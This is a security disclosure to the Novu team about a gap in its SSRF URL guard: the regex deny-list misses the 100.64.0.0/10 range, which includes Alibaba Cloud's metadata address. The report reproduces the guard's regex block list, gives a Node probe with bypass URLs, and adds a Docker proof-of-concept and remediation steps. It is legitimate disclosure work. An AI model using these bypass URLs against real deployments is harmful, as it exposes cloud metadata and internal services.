Hi Novu team,

Reporting an SSRF blocklist gap in the shared validateUrlSsrf guard. A complete self-contained reproduction is inlined below — copy the four files into a directory and run docker compose up, plus a single-file probe that runs against Node directly. Locally validated against HEAD 291817c.

Summary

Novu's shared SSRF guard validateUrlSsrf(url) is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block 100.64.0.0/10 shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as 100.100.100.200 (Alibaba Cloud metadata service) and any other service reachable in 100.64.0.0/10.

Affected code

Guard:

• libs/application-generic/src/utils/ssrf-url-validation.ts
  • isPrivateIp(...) regex list at lines 9-28
  • DNS resolution and address validation at lines 55-72

Product call-sites:

• Workflow HTTP request step: apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts — calls validateUrlSsrf(url) at line 149, then uses HttpClientService to send the request.
• Webhook filter condition: libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts — calls validateUrlSsrf(child.webhookUrl) at line 265, then sends axios.post(child.webhookUrl, ...) at line 277.

HTTP client:

• libs/application-generic/src/services/http-client/http-client.service.ts — uses got(gotOptions) at lines 120 and 142 after the preflight validation.

Root cause

The SSRF guard uses a hand-written regex deny-list:

/^0\.0\.0\.0$/i,
/^127\./,
/^10\./,
/^172\.(1[6-9]|2[0-9]|3[01])\./,
/^192\.168\./,
/^169\.254\./,
/^::ffff:127\./i,
/^::ffff:10\./i,
/^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i,
/^::ffff:192\.168\./i,
/^::ffff:169\.254\./i,
/^::1$/,
/^fc00:/i,
/^fe80:/i,

This list omits 100.64.0.0/10, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; Alibaba Cloud metadata is available at 100.100.100.200.

Reproduction — Part 1: unit-level probe (no Docker required)

Save the following file and run with node novu_ssrf_guard_probe.js. The script replicates validateUrlSsrf from libs/application-generic/src/utils/ssrf-url-validation.ts verbatim (the isPrivateIp regex list is copied as-is) and tests several URL categories.

novu_ssrf_guard_probe.js

const dns = require('dns/promises');

function isPrivateIp(ip) {
  const privateRanges = [
    /^0\.0\.0\.0$/i,
    /^127\./,
    /^10\./,
    /^172\.(1[6-9]|2[0-9]|3[01])\./,
    /^192\.168\./,
    /^169\.254\./,
    /^::ffff:127\./i,
    /^::ffff:10\./i,
    /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i,
    /^::ffff:192\.168\./i,
    /^::ffff:169\.254\./i,
    /^::1$/,
    /^fc00:/i,
    /^fe80:/i,
  ];
  return privateRanges.some((range) => range.test(ip));
}

async function validateUrlSsrf(url) {
  let parsed;
  try {
    parsed = new URL(url);
  } catch {
    return 'Invalid URL format.';
  }
  if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
    return `URL scheme "${parsed.protocol}" is not allowed.`;
  }
  const hostname = parsed.hostname.toLowerCase();
  const blockedHostnames = ['localhost', 'metadata.google.internal'];
  if (blockedHostnames.includes(hostname)) {
    return `Requests to "${hostname}" are not allowed.`;
  }
  let addresses;
  try {
    addresses = await dns.lookup(hostname, { all: true });
  } catch {
    return `Unable to resolve hostname "${hostname}".`;
  }
  for (const { address } of addresses) {
    if (isPrivateIp(address)) {
      return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`;
    }
  }
  return null;
}

async function main() {
  for (const url of [
    'http://127.0.0.1/',
    'http://0.0.0.0/',
    'http://0.0.0.1/',
    'http://169.254.169.254/',
    'http://100.64.0.1/',
    'http://100.100.100.200/',
    'http://224.0.0.1/',
    'http://[fd00::1]/',
    'http://[64:ff9b::7f00:1]/',
    'http://[::ffff:100.64.0.1]/',
    'http://8.8.8.8/',
  ]) {
    console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? 'ALLOW' }));
  }
}

main().catch((e) => { console.error(e); process.exitCode = 1; });

Expected output (relevant lines)

{"url":"http://127.0.0.1/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1)."}
{"url":"http://169.254.169.254/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254)."}
{"url":"http://100.64.0.1/","verdict":"ALLOW"}
{"url":"http://100.100.100.200/","verdict":"ALLOW"}
{"url":"http://8.8.8.8/","verdict":"ALLOW"}

The 2nd and 3rd ALLOW rows are the bypass — both are non-public destinations the guard should refuse.

Reproduction — Part 2: end-to-end Docker CGNAT proof

Save the three files below into a directory, then:

docker compose up --abort-on-container-exit --exit-code-from novu-client

This mirrors the product sequence in execute-http-request-step.usecase.ts: resolve hostname → validate with validateUrlSsrf → send HTTP request. The "target" container is bound to a CGNAT address (100.64.0.20) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range.

docker-compose.yml

services:
  cgnat-target:
    image: python:3.12-alpine
    command: python -u /srv/target.py
    volumes:
      - ./target.py:/srv/target.py:ro
    networks:
      novu-cgnat:
        ipv4_address: 100.64.0.20

  novu-client:
    image: node:22-alpine
    command: node /srv/client.js
    volumes:
      - ./client.js:/srv/client.js:ro
    depends_on:
      - cgnat-target
    networks:
      novu-cgnat:
        ipv4_address: 100.64.0.10

networks:
  novu-cgnat:
    ipam:
      config:
        - subnet: 100.64.0.0/24

target.py

from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        print(f"[target] {self.client_address[0]} POST {self.path}", flush=True)
        self.send_response(200)
        self.send_header("content-type", "application/json")
        self.end_headers()
        self.wfile.write(b'{"marker":"NOVU_CGNAT_SSRF_OK"}\n')
    def log_message(self, fmt, *args): return

HTTPServer(("100.64.0.20", 8080), Handler).serve_forever()

client.js

const dns = require('dns/promises');

function isPrivateIp(ip) {
  const privateRanges = [
    /^0\.0\.0\.0$/i, /^127\./, /^10\./,
    /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./,
    /^::ffff:127\./i, /^::ffff:10\./i,
    /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i,
    /^::ffff:192\.168\./i, /^::ffff:169\.254\./i,
    /^::1$/, /^fc00:/i, /^fe80:/i,
  ];
  return privateRanges.some((range) => range.test(ip));
}

async function validateUrlSsrf(url) {
  const parsed = new URL(url);
  if (!['http:', 'https:'].includes(parsed.protocol)) return 'bad scheme';
  if (['localhost', 'metadata.google.internal'].includes(parsed.hostname.toLowerCase())) {
    return 'blocked hostname';
  }
  const addresses = await dns.lookup(parsed.hostname, { all: true });
  for (const { address } of addresses) {
    if (isPrivateIp(address)) return `blocked ${address}`;
  }
  return null;
}

async function waitForTarget(url) {
  for (let attempt = 0; attempt < 20; attempt += 1) {
    try {
      const r = await fetch(url, { method: 'POST' });
      await r.text();
      return;
    } catch (_e) {
      await new Promise((resolve) => setTimeout(resolve, 250));
    }
  }
}

async function main() {
  const url = 'http://cgnat-target:8080/workflow-http-step';
  const addresses = await dns.lookup('cgnat-target', { all: true });
  const validation = await validateUrlSsrf(url);
  console.log(JSON.stringify({ url, addresses, validation: validation ?? 'ALLOW' }));

  if (validation) { process.exitCode = 2; return; }

  await waitForTarget(url);
  const response = await fetch(url, {
    method: 'POST',
    headers: { 'content-type': 'application/json' },
    body: JSON.stringify({ source: 'novu-http-request-step' }),
  });
  const body = await response.text();
  console.log(JSON.stringify({ status: response.status, body }));
}

main().catch((e) => { console.error(e); process.exitCode = 1; });

Expected output

novu-client-1   | {"url":"http://cgnat-target:8080/workflow-http-step","addresses":[{"address":"100.64.0.20","family":4}],"validation":"ALLOW"}
cgnat-target-1  | [target] 100.64.0.10 POST /workflow-http-step
novu-client-1   | {"status":200,"body":"{\"marker\":\"NOVU_CGNAT_SSRF_OK\"}\n"}

The chain is:

1. Resolve hostname cgnat-target → 100.64.0.20 (a CGNAT address).
2. Run Novu's validateUrlSsrf against the URL — returns ALLOW because 100.64.0.0/10 is missing from isPrivateIp.
3. Send the actual server-side HTTP POST → reaches the CGNAT-bound target → response with marker NOVU_CGNAT_SSRF_OK is received.

Impact

Any Novu feature that allows a user to configure an outbound HTTP URL and relies on validateUrlSsrf may still reach 100.64.0.0/10. Impact is highest for:

• Alibaba Cloud deployments, where http://100.100.100.200/latest/meta-data/ may expose instance metadata.
• Self-hosted deployments where 100.64.0.0/10 routes to private infrastructure, service meshes, VPNs, carrier-grade NAT, or provider-side internal services.
• Multi-tenant deployments where one tenant can configure workflow HTTP request steps or webhook filters that execute from shared worker/API infrastructure — cross-tenant SSRF primitive into provider-internal services.

Suggested remediation

• Replace regex matching with IP parsing and CIDR classification, e.g. using ipaddr.js with process(...) to normalize IPv4-mapped IPv6.
• Treat only globally reachable public IPs as allowed by default (addr.range() === 'unicast' after IPv4-mapped unwrap, or equivalent).
• Explicitly deny all special-use ranges, including at least:
  • 0.0.0.0/8, 10.0.0.0/8, 100.64.0.0/10, 127.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.168.0.0/16
  • multicast (224.0.0.0/4), documentation (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24, 2001:db8::/32), benchmarking (198.18.0.0/15), reserved (240.0.0.0/4)
  • IPv6 ULA (fc00::/7), link-local (fe80::/10), loopback (::1), and the IPv4-mapped variants of all of the above
• Add regression tests for:
  • 100.64.0.1, 100.100.100.200
  • hostnames resolving to those addresses
  • IPv4-mapped variants of denied IPv4 ranges (e.g., ::ffff:100.64.0.1)
• Consider connection-time validation or a guarded lookup agent so the actual request cannot resolve to a different IP than the preflight checked (DNS-rebinding TOCTOU mitigation).

Notes

This report is intentionally scoped to the concrete 100.64.0.0/10 bypass. Additional missed ranges exist in the current regex guard (multicast 224.0.0.0/4, broadcast 255.255.255.255, benchmarking, documentation, 0.0.0.0/8 outside /32, and IPv4-mapped variants), but CGNAT is the highest-confidence real-world issue because it includes a known cloud metadata endpoint (100.100.100.200 on Alibaba Cloud).

References

• GHSA-vg6v-j97m-h5xq